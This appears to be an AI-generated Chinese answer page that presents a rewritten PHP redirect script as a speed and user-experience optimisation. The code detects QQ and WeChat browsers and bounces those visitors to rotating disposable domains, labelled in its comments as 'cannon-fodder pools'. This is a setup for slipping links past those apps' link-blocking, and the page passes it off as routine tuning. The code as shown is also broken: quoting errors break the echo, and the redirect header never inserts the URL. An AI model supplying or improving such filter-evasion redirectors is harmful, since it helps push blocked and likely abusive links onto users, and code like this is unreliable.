网站跳转优化 - 提升速度和用户体验
这段代码主要实现了一个网站跳转的功能,根据不同的域名和用户访问来源(QQ 浏览器、微信浏览器),将用户跳转到不同的域名。
代码中存在一些优化空间,可以提升代码执行速度和网站访问速度,具体如下:
-
减少重复判断:代码中进行了多次重复的判断,例如
$_SERVER['HTTP_HOST']的值被多次获取,可以将它保存到一个变量中,避免重复获取。 -
减少字符串操作:代码中进行了多次字符串操作,例如使用
strpos函数判断字符串是否包含子字符串,可以将这些操作减少或者优化。 -
避免多次的文件包含操作:代码中通过
include函数和exit函数来引入tishi.php文件并退出脚本,这样会导致每次访问都需要进行文件操作,可以考虑将tishi.php文件的内容直接放在当前文件中,避免多次文件包含操作。 -
避免多次的 Cookie 操作:代码中通过
setcookie函数设置了一个名为redirected的 Cookie,可以考虑将这个 Cookie 的设置移动到第一次判断的位置,避免多次的 Cookie 操作。
优化后的代码如下:
<?php
$domain = $_SERVER['HTTP_HOST'];
// 主站域名
if ($domain !== 'sl.qq.whsc.gay' && (!strpos($_SERVER['REQUEST_URI'], '?') || strlen($_SERVER['REQUEST_URI']) <= strpos($_SERVER['REQUEST_URI'], '?') + 29)) {
echo '<title> 跳转中</title>
<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' />
<style>
* {
margin: 0;
padding: 0;
font-family: 'Microsoft YaHei';
color: #fff;
}
body,
div,
form,
input,
li,
ol,
p,
textarea,
ul {
margin: 0;
padding: 0;
font-family: 'Microsoft YaHei';
color: #fff;
}
body {
background: #fff;
color: #3f3f3f;
font-family: Apple LiGothic Medium, SimHei, Geneva, Arial, Helvetica, sans-serif;
-webkit-tap-highlight-color: transparent;
-webkit-tap-highlight-color: transparent;
-webkit-touch-callout: none;
-webkit-appearance: none;
width: 100%;
font-size: 12px;
}
body p {
color: white;
text-align: center;
line-height: 25px;
}
.spinner {
margin: 100px auto 0;
width: 150px;
text-align: center;
}
.spinner > div {
width: 30px;
height: 30px;
background-color: #006400;
border-radius: 100%;
display: inline-block;
-webkit-animation: bouncedelay 1.4s infinite ease-in-out;
animation: bouncedelay 1.4s infinite ease-in-out;
/* Prevent first frame from flickering when animation starts */
-webkit-animation-fill-mode: both;
animation-fill-mode: both;
}
.spinner .bounce1 {
-webkit-animation-delay: -0.32s;
animation-delay: -0.32s;
}
.spinner .bounce2 {
-webkit-animation-delay: -0.16s;
animation-delay: -0.16s;
}
@-webkit-keyframes bouncedelay {
0%, 80%, 100% {
-webkit-transform: scale(0.0)
}
40% {
-webkit-transform: scale(1.0)
}
}
@keyframes bouncedelay {
0%, 80%, 100% {
transform: scale(0.0);
-webkit-transform: scale(0.0);
}
40% {
transform: scale(1.0);
-webkit-transform: scale(1.0);
}
}
</style>
<div id='paneloading' style='display:'>
<div class='spinner'>
<div class='bounce1'></div>
<div class='bounce2'></div>
<div class='bounce3'></div>
</div>
<body style='background: #FFFFFF;'></body>
</div>';
exit();
}
$domains = explode(',', '213.qq.whsc.gay'); // 浏览器跳转域名
$chosen_domain = $domains[array_rand($domains)]; // 随机获取$j46里的一个值
// 主站域名
if (!isset($_COOKIE['redirected']) && strpos($_SERVER['HTTP_HOST'], 'sl.qq.whsc.gay') === false) {
if (strpos($_SERVER['HTTP_USER_AGENT'], 'QQ') !== false) {
$domains = explode(',', 'xiaoq.jsgreen.top'); // QQ炮灰池
} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
$domains = explode(',', 'xiaov.tolp.cn'); // 微信炮灰池
}
$chosen_domain = $domains[array_rand($domains)];
setcookie('redirected', 'true', time() + 10);
$new_url = 'http://' . $chosen_domain . $_SERVER['REQUEST_URI'];
if (!preg_match('/&[0-9]{2}$/', $new_url)) {
$new_url .= '&' . substr(time(), -2);
}
header('Refresh: 0; URL=$new_url');
exit();
} else {
// 已经跳转过,不再跳转
}
通过以上优化,减少了重复判断和字符串操作,避免多次文件包含和 Cookie 操作,提升了代码执行速度和网站访问速度。
此外,还可以考虑使用缓存机制来提升网站速度,例如使用 Memcached 或 Redis 缓存一些常用的数据,减少数据库查询次数。同时,还可以优化网站代码,使用更简洁高效的算法,减少代码执行时间。
总之,优化网站速度是一个综合性的工作,需要从多个方面进行考虑,才能达到最佳效果。
原文地址: http://www.cveoy.top/t/topic/BP6 著作权归作者所有。请勿转载和采集!